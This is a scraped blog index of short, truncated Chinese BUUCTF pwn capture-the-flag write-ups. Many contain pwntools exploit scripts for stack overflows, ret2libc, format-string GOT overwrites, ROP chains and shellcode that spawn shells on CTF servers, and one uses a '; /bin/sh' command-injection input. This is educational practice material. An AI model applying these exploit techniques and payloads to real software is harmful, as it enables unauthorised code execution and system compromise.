BUUCTF
buuctf wp 可以看我写的时间,难度逐渐加大
Y-peak
一个努力的小白pwn
展开
-
[BUUCTF-pwn]——jarvisoj_level3_x64
简单的ret2libc通过vuln函数,我们可以看出程序中包含write和read函数,同时存在栈溢出。通过write泄露read的got表地址。进而获得libc,重新控制代码再次进行栈溢出即可获得shell。原创 2023-10-25 10:22:30 · 324 阅读 · 0 评论 -
[BUUCTF-pwn]——ciscn_2019_n_3
[BUUCTF-pwn]——ciscn_2019_n_3结构体://该结构体仅仅是选择字符串的时候的结构体struct chunk{ void *rec_str_print(); void *rec_str_free(); char *str;}//该结构体仅仅是选择数字的时候的结构体struct chunk{ void *rec_int_print(); void *rec_int_free(); int number;}这道题目就是简单的u原创 2021-11-20 14:32:13 · 3121 阅读 · 1 评论 -
[BUUCTF-pwn]——pwnable_echo2
[BUUCTF-pwn]——pwnable_echo2附件题解没那么多时间写详细的题解,就简单理一下思路了。首先这个题目中通过 2. : FSB echo 我们可以泄露出来栈上的地址,这里我们泄露出来的是当前栈帧rbp中存储的地址,也就是mian函数的rbp地址。通过rbp与变量的关系,我们可以得到我们在程序开始运行时写入name的地址。由于栈是可执行的,我们只需要将shellcode写入我们要写入的name的位置即可。不过长度要小于24。做到这一步第一步就完成了,下面我们需要利用uaf漏洞来劫持原创 2021-11-16 19:59:36 · 949 阅读 · 0 评论 -
[BUUCTF-pwn]——picoctf_2018_buffer overflow 0
[BUUCTF-pwn]——picoctf_2018_buffer overflow 0好久不写BUU了,手都快生了赶快过来写写。通过观察源文件发现,首先有put函数不需要去libc中找,同时argv肯定大于1,也就是需要至少两个参数,才可以到else语句,同时vuln函数的参数是第二个参数。进入vuln函数内部看看,找到strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出,以此调用puts函数打印flag.因为flag在bss段上。from pwn imp原创 2021-04-28 17:34:56 · 428 阅读 · 0 评论 -
[BUUCTF-pwn]——wdb2018_guess (environ环境变量)
[BUUCTF-pwn]——wdb2018_guess这个漏洞叫什么来着, 好像是stack smash, 具体就是主动触发canary保护来达到自己的目的.这道题最后我也有一个小疑问, 这个程序为什么会莫名其妙执行三次. 嘶!!!一个常见的保护开启NX canary RELRO在IDA中看看, 那个buf就是我们要的flag先主动触发一下canary看看会发送什么. 输出的是argv[0], 同时程序会再次执行,发现会重复执行三次.思路思路来了利用主动触发canary保护, 调用**原创 2021-04-06 21:34:25 · 1403 阅读 · 10 评论 -
[BUUCTF-pwn]——picoctf_2018_echo back
[BUUCTF-pwn]——picoctf_2018_echo back和之前的一道题及其类似大家可以对比一下[BUUCTF-pwn]——ciscn_2019_sw_1思路都是一样的就是将printf_got修改为system_plt表,然后循环调用就好找偏移, 为7不过有点难受的是, 不知道为什么利用fini_array不行,那里错了也不知道,没办法只有利用put的got表了。exploitfrom pwn import*p=remote('node3.buuoj.cn',27945)原创 2021-04-03 17:39:02 · 407 阅读 · 1 评论 -
[BUUCTF-pwn]——hgame2018_flag_server
[BUUCTF-pwn]——hgame2018_flag_server保护开启了 NX和canary看下反汇编,只要v10非0就可以得到flag, 也就是v6 = v8,但是显然v8是一个随机数, 并且没有找到可以修改的地方。仔细观察上面的代码,一旦v5为负数,我们就可以无限输入了,并且s1距离v10为0x40 = 64, 我们只需要输入0x40个字符就可以开始修改v10了exploitfrom pwn import *p = remote("node3.buuoj.cn",28128)p原创 2021-04-03 16:28:52 · 419 阅读 · 0 评论 -
[BUUCTF-pwn]——ciscn_2019_sw_1
[BUUCTF-pwn]——ciscn_2019_sw_1一个简单的格式化字符串, 相信大家看到旁边 的system和格式化字符串漏洞,想的一定是利用格式化字符串漏洞将printf_got表修改system_plt表,然后使其循环调用main第二次输入’/bin/sh’就好可能唯一需要说一下的就是, 程序结束时会调用_fini_array指向的函数指针,所以我们将其修改为mian就会循环调用了算下偏移, 一看就是4exploitfrom pwn import *p = remote("no原创 2021-04-03 16:07:45 · 515 阅读 · 4 评论 -
[BUUCTF-pwn]——starctf_2019_babyshell
[BUUCTF-pwn]——starctf_2019_babyshell学到了, 又学到了FMYY师傅太强了只需要通过\x00绕过检查, 同时执行我们输入的shellcode就好**\x00B后面加上一个字符, 对应一个汇编语句。**所以我们可以通过\x00B\x22、\x00B\x00等等来绕过那个检查from pwn import *context.arch = "amd64"p = remote("node3.buuoj.cn",27993)#p = process("./starctf原创 2021-04-02 23:34:34 · 551 阅读 · 0 评论 -
[BUUCTF-pwn]——qctf2018_stack2
[BUUCTF-pwn]——qctf2018_stack2这道题注意一点v3的类型就好, 其他应该木有什么可以说的吧, 它是char*类型., 也就是每个我们赋值的v7只有低位的一个字节可以写进去漏洞就在这里, 可以利用这里, 以v3为基准修改任意地址的数据.还有一点需要注意的是偏移, 我最一开始写的时候, 想当然写成了0x40+4主要原因是因为画圈的位置改变了esp, 懒得看汇编往上面找了直接动态调试.第一次执行该汇编的时候, eax就是我们开始输入的位置然后直接定位到retn看栈顶原创 2021-04-02 22:49:35 · 380 阅读 · 2 评论 -
[BUUCTF-pwn]——wustctf2020_closed
[BUUCTF-pwn]——wustctf2020_closed相信看过题目反汇编的人都知道.这个题目直接给了你shell但是为什么输入cat flag无法得到flag. 其实就是因为close(1)这个命令将你的标准输出给关掉了. 也就意味着, 无法输出任何东西给你你们应该也看到了其他一些, wp 说只要exec 1>&0就可以了但是你们却不知道这个的具体含义exec 也就是重定位在Linux里面exec 1>&0的意思就是将标准输出定位到标准输入的文件. &a原创 2021-04-02 19:30:34 · 759 阅读 · 4 评论 -
[BUUCTF-pwn]——judgement_mna_2016
[BUUCTF-pwn]——judgement_mna_2016还行的一道题, 不过动态调试的时候, 需要你手写一个flag.txt文件, 不然没办法动态调试.一看就知道这个地方储存的flag,如果不确定. 可以去看下start函数的汇编, 执行main函数前就已经将flag写入了下面我们只需要计算偏移输出就好, 记得自己在目录下面写个flag.txt文件, 不然没办法调试的. 偏移0x1c 或者 0x20都可以exploitfrom pwn import *#p = process('.原创 2021-03-31 17:25:43 · 255 阅读 · 0 评论 -
[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]——[极客大挑战 2019]Not Bad又是一道收获满满的题目.peak小知识seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合来ban掉一些系统调用.seccomp-tools: 沙盒工具, 可以查看那些系统调用可以被使用, 安装在我的原创 2021-03-31 15:26:13 · 510 阅读 · 0 评论 -
[BUUCTF-pwn]——xman_2019_format
[BUUCTF-pwn]——xman_2019_format本小白终于想明白了, 第一个写出来这道题的人, 好厉害感觉.脑袋嗡嗡的, 这道题让我想了一个上午竟然, 果然适当睡眠有助于思考, 睡一觉就想出来了.也看过几个题解不过,虽然解法相同,但是基本都木有将清楚, 每一步的原因是什么都木有说清楚. peak不才, 在这里试着详细说明一下, 毕竟想了一个上午的东西,还是有必要好好总结一下的 .peak小知识ALSR : 你们肯定都知道,不就是地址随机化嘛有什么, 但是这道题如果你们不清楚具体的原理原创 2021-03-30 17:11:09 · 580 阅读 · 1 评论 -
[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)
[BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)检查了下保护发现NX 没有开,肯定要自己写shellcode呀。不过这道题,刷新了我的认知。众所周知,手写的shellcode里面肯定有很多不可见字符。第一次碰到可见的shellcode。看下IDA, 不能反汇编不过问题不大,没事.个人建议,看汇编的时候,建议看流程图,更加直观将shellcode写入,那个buf不过下面肯定大于0呀.rbp + var_8是我们输入字符串的长度.发生转原创 2021-03-29 18:20:06 · 1304 阅读 · 0 评论 -
[BUUCTF-pwn]——inndy_echo
[BUUCTF-pwn]——inndy_echo有gets函数但是没有办法栈溢出,不过幸好有格式化字符串漏洞。从旁边我们可以找到system的plt以及printf的got表, 将system的plt地址写入printf的got表。然后输入"/bin/sh"就可以了。先找找偏移 7exploitfrom pwn import *p = remote("node3.buuoj.cn",28268)#p = process("./echo")#gdb.attach(p, "b printf原创 2021-03-29 17:07:37 · 591 阅读 · 0 评论 -
[BUUCTF-pwn]——mrctf2020_easyoverflow
[BUUCTF-pwn]——mrctf2020_easyoverflow题目不难这里就简单讲下思路思路因为check函数返回0才可以得到shell.通过gets函数,我们可以将v5修改为我们想要的。找到fake_flag 为n0t_r3@11y_f1@g修改为这个就可以了。相同肯定返回0.exploitfrom pwn import *p = remote("node3.buuoj.cn",26609)payload = 'a'* 0x30 + "n0t_r3@11y_f1@g"p.s原创 2021-03-29 13:04:37 · 240 阅读 · 0 评论 -
[BUUCTF-pwn]——picoctf_2018_leak_me(内涵peak小知识)
[BUUCTF-pwn]——picoctf_2018_leak_me题目没什么难度,但是可能反汇编的时候你们可能会出现一些问题。peak小知识pwn题,有时会碰到无法反汇编的情况,大多数情况下,都是call的位置报错,双击函数,按F5人为给它反汇编,再返回就可以了。不过有时候,是IDA栈指针的问题,大多数还是前者居多。思路在IDA中,v6代表name s是password.距离0x100也就是256。输入256个字符后,我们可以直接将password泄露出来。这样我们就可以在下面调用flag函原创 2021-03-29 12:44:12 · 387 阅读 · 0 评论 -
[BUUCTF-pwn]——x_ctf_b0verfl0w
[BUUCTF-pwn]——x_ctf_b0verfl0w很简单的一个ret2libc题型,利用栈溢出,构造循环调用第一次leek地址,之后就可以构造我们想要的rop链了exploitfrom pwn import *from LibcSearcher import *#p = process('./b0verfl0w')p = remote('node3.buuoj.cn',26806)elf = ELF('./b0verfl0w')context.log_level = 'debug原创 2021-03-27 10:48:40 · 635 阅读 · 3 评论 -
[BUUCTF-pwn]——wustctf2020_getshell_2
[BUUCTF-pwn]——wustctf2020_getshell_2有system没有sh。所以找一下exploitfrom pwn import *p = remote('node3.buuoj.cn',25464)sh = 0x08048670payload = 'a' * (0x18 + 4) + p32(0x08048529) + p32(sh) p.sendline(payload)p.interactive()原创 2021-03-19 14:22:27 · 457 阅读 · 0 评论 -
[BUUCTF-pwn]——mrctf2020_shellcode
[BUUCTF-pwn]——mrctf2020_shellcode没开NX保护,发现F5不可以,就看汇编吧这不就是相当于你写入shellcode然后执行嘛exploitfrom pwn import *p=remote("node3.buuoj.cn",26104)context.arch='amd64'shellcode=asm(shellcraft.sh())p.sendline(shellcode)p.interactive()...原创 2021-03-19 13:33:11 · 320 阅读 · 0 评论 -
[BUUCTF-pwn]——inndy_rop
[BUUCTF-pwn]——inndy_ropmain函数无法反汇编,不过还好,里面的overflow就是gets函数,可以栈溢出。因为懒得自己去构造rop链了,看看里面是否可以拼凑出系统的调用里面有就省的我们自己写了中间还找了半天错,我真是个笨蛋,以前一直用p 忘记和和构造系统调用的变量重复了,改为a就好了exploitfrom pwn import *from struct import packa = remote('node3.buuoj.cn',27139)# Padding原创 2021-03-18 10:39:47 · 377 阅读 · 0 评论 -
[BUUCTF-pwn]——bbys_tu_2016
[BUUCTF-pwn]——bbys_tu_2016简单的栈溢出,不过竟然是esp寻址,害的孩子找了好久还是要动态调试 一般地址会误差八个字节error exploitfrom pwn import *#p = remote('node3.buuoj.cn',28360)p = process('./bbys_tu_2016')gdb.attach(p, "b *0x080485ED")flag = 0x0804856Dpayload = 'a' * (0xc + 4) + p32(fla原创 2021-03-17 23:13:33 · 360 阅读 · 0 评论 -
[BUUCTF-pwn]——picoctf_2018_buffer overflow 2
[BUUCTF-pwn]——picoctf_2018_buffer overflow 2简单的栈溢出,不过需要将参数自己设置而已注意负数如何转换为补码, 不知道也可以直接在汇编里面找from pwn import *p = remote('node3.buuoj.cn',28931)a1 = 0xdeadbeefa2 = 0xdeadc0depayload = 'a' * (0x6c + 4) + p32(0x080485CB) + p32(0)+ p32(a1) + p32(a2)p.re原创 2021-03-17 22:54:14 · 438 阅读 · 0 评论 -
[BUUCTF-pwn]——xdctf2015_pwn200
[BUUCTF-pwn]——xdctf2015_pwn200一个简单的ret2libc的题目, 前面写了不少了这里只给exp了exploitfrom pwn import *from LibcSearcher import *p = remote('node3.buuoj.cn',27025)elf = ELF('./bof')write_plt = elf.plt['write']write_got = elf.got['write']main = elf.symbols['main']原创 2021-03-17 22:12:10 · 282 阅读 · 0 评论 -
[BUUCTF-pwn]——wdb_2018_2nd_easyfmt
[BUUCTF-pwn]——wdb_2018_2nd_easyfmt一个简单的格式化字符串利用问题泄露出got表地址,找到libc基地址寻找system的实际地址将printf_got修改为system的地址写入”/bin/sh"exploitfrom pwn import *from LibcSearcher import *context.log_level = "debug"p = remote('node3.buuoj.cn',25125)#p = process("./原创 2021-03-17 12:39:49 · 716 阅读 · 0 评论 -
[BUUCTF-pwn]——axb_2019_brop64
[BUUCTF-pwn]——axb_2019_brop64利用这里leek地址, 找到libc基地址进而找到system, binsh,构造rop链exploitfrom pwn import *from LibcSearcher import *p = remote('node3.buuoj.cn',26212)#p = process('./axb_2019_brop64')elf = ELF('./axb_2019_brop64')context.log_level = 'debug原创 2021-03-17 12:15:25 · 334 阅读 · 0 评论 -
[BUUCTF-pwn]——jarvisoj_level1
[BUUCTF-pwn]——jarvisoj_level1题目地址:https://buuoj.cn/challenges#jarvisoj_level1第一种直接构造shellcodewriteup第二种泄露libc进行操作from pwn import *from LibcSearcher import *p = remote("node3.buuoj.cn",26361)#p = process("./level1")elf = ELF("./level1")#libc = E原创 2021-03-17 09:49:34 · 450 阅读 · 0 评论 -
[BUUCTF-pwn]——pwnable_orw (ORW)
[BUUCTF-pwn]——pwnable_orw第一次碰到orw的问题,所谓orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag这个时候可以通过seccomptools,来查看注意看到prctl就是将系统调用给你禁止了exploitfrom pwn import *context.arch = 'i386'p = remote('node3.buuoj.cn',28626)shellcode = she原创 2021-03-16 18:54:50 · 1231 阅读 · 0 评论 -
[BUUCTF-pwn]——cmcc_simplerop (ropchain)
[BUUCTF-pwn]——cmcc_simplerop有栈溢出,自己找rop链,最简单的方法,让ROPgadget帮我们弄好呀,可是有点长,所有需要我们修改。毕竟有长度要求。因为“/bin/sh"字符串没有找到,所有这之前的都不动, 下面的pop eax; pop ebx; pop ecx; pop edx除了pop ebx 注意下,其他都可以进行修改 inc就是 ++exploit目的:使得excve("/bin/sh") eax = 0xb; ebx ->"/bin/sh"; ecx原创 2021-03-16 18:42:50 · 530 阅读 · 0 评论 -
[BUUCTF-pwn]——picoctf_2018_buffer overflow 1
[BUUCTF-pwn]——picoctf_2018_buffer overflow 1简单的栈溢出, 返回地址,设置为win就好exploitfrom pwn import *p = remote("node3.buuoj.cn",25059)payload = 'a' * (0x28 + 4) + p32(0x080485CB)p.sendline(payload)p.interactive()原创 2021-03-16 17:54:56 · 343 阅读 · 0 评论 -
[BUUCTF-pwn]——jarvisoj_test_your_memory
[BUUCTF-pwn]——jarvisoj_test_your_memory直接通过提示栈溢出exploitfrom pwn import*p=remote('node3.buuoj.cn',"29320")context.log_level = 'debug'payload='a' * (0x13 + 4)+p32(0x8048440)+p32(0x8048677)+p32(0x80487E0) #system main cat flagp.原创 2021-03-16 17:43:28 · 232 阅读 · 0 评论 -
[BUUCTF-pwn]——[BJDCTF 2nd]secret
[BUUCTF-pwn]——[BJDCTF 2nd]secret这道题目,看就考验你的汇编能力了。因为在反汇编的过程中,有一个函数过大,无法反汇编在IDA中看到一个格外令人喜欢的东西,可是if 的条件无法反汇编。进入汇编查看, 必须要这样下去,才可以往下面一看绝望呀。超级多最后才给你赋值为0,虽然这样可以暴力破解,但是弄成千上万次,也够麻烦的。想要尝试的朋友可以试试。既然上面那种方法太过于,笨重。接着看代码,发现如果我们将printf的got表改为system的plt. 同时 buf写原创 2021-03-16 15:13:47 · 149 阅读 · 4 评论 -
[BUUCTF-pwn]——bjdctf_2020_router
[BUUCTF-pwn]——bjdctf_2020_router关键漏洞, 如果输入 ; /bin/sh 就会执行system("/bin/sh")分号是分割符exploitfrom pwn import *p = remote("node3.buuoj.cn",27911)p.sendline('1')p.sendafter("Please input the ip address:\n", "; /bin/sh\x00")p.interactive()...原创 2021-03-16 14:16:02 · 356 阅读 · 0 评论 -
[BUUCTF-pwn]——wustctf2020_getshell
[BUUCTF-pwn]——wustctf2020_getshell额,太简单了直接上exploit吧直接利用栈溢出,修改返回地址就好from pwn import *p = remote('node3.buuoj.cn',28241)payload = 'a' * (0x18+4) + p32(0x0804851B)p.send(payload)p.interactive()原创 2021-03-16 14:05:59 · 199 阅读 · 0 评论 -
[BUUCTF-pwn]——[第六章 CTF之PWN章]stack
[BUUCTF-pwn]——[第六章 CTF之PWN章]stack题目地址: https://buuoj.cn/challenges#[%E7%AC%AC%E5%85%AD%E7%AB%A0%20CTF%E4%B9%8BPWN%E7%AB%A0]stack思路一个简单的栈溢出, 注意栈平衡就好exploitfrom pwn import *p = remote('node3.buuoj.cn',25385)shell = 0x0000000000400537ret = 0x0000000原创 2021-03-12 22:00:25 · 755 阅读 · 0 评论 -
[BUUCTF-pwn]——ciscn_2019_s_4
[BUUCTF-pwn]——ciscn_2019_s_4题目地址:https://buuoj.cn/challenges#ciscn_2019_s_4这道题是一道典型的栈劫持问题前面有一道类似的,(挂了peak小知识), 如果需要可以去做一下没有开启canary保护在IDA中, 可以看出有明显的栈溢出, 不过溢出空间只够修改ebp和一个返回地址但是, 仅仅一个返回地址是不够的, 并不能打印flag思路利用栈溢出,首先泄露出来main_ebp的地址计算一下,我们输入的位置, 距离m原创 2021-03-12 15:55:55 · 512 阅读 · 0 评论 -
[BUUCTF-pwn]——lctf2016_pwn200
[BUUCTF-pwn]——lctf2016_pwn200题目地址:https://buuoj.cn/challenges#lctf2016_pwn200还是先chekcsec 一下, 没有开启NX代表我们可以手写shellcode并且执行在IDA, 中大家自己看看就好,我这里将两个漏洞的位置告诉大家就好寻找偏移思路利用漏洞1, 获得main_ebp地址, 寻找到我们写入的shellcode距离的位置利用漏洞2 覆盖dest变量值为free的got表的地址, 这样通过strcpy原创 2021-03-11 13:06:55 · 661 阅读 · 0 评论 -
[BUUCTF-pwn]——suctf_2018_stack
[BUUCTF-pwn]——suctf_2018_stack题目地址:https://buuoj.cn/challenges#suctf_2018_stack什么保护都没开在IDA中一查看,发现有点简单太简单了.本来刚开始以为溢出空间不够只有两个地址,一个epb, 一个返回地址, 可是结果仅仅返回地址就可以了exploitfrom pwn import *p = remote('node3.buuoj.cn',29819)leave_ret = 0x000000000040073原创 2021-03-11 11:48:37 · 484 阅读 · 0 评论 -
[BUUCTF-pwn]——[ZJCTF 2019]Login
[BUUCTF-pwn]——[ZJCTF 2019]Login题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]Login这道题学习还是很多的, 有的时候在源码中跟踪并不一定比在汇编代码中跟踪更快这里最后一个函数的第一个参数会被当做函数执行,这里我就开始找那个地方可以将这个参数给改了。v7也就是v3然后找来找去没发现。不过汇编总是有奇效这里有一篇博客超级详细, 我也就不在这里赘述了。点击转跳...原创 2021-03-11 10:55:37 · 412 阅读 · 0 评论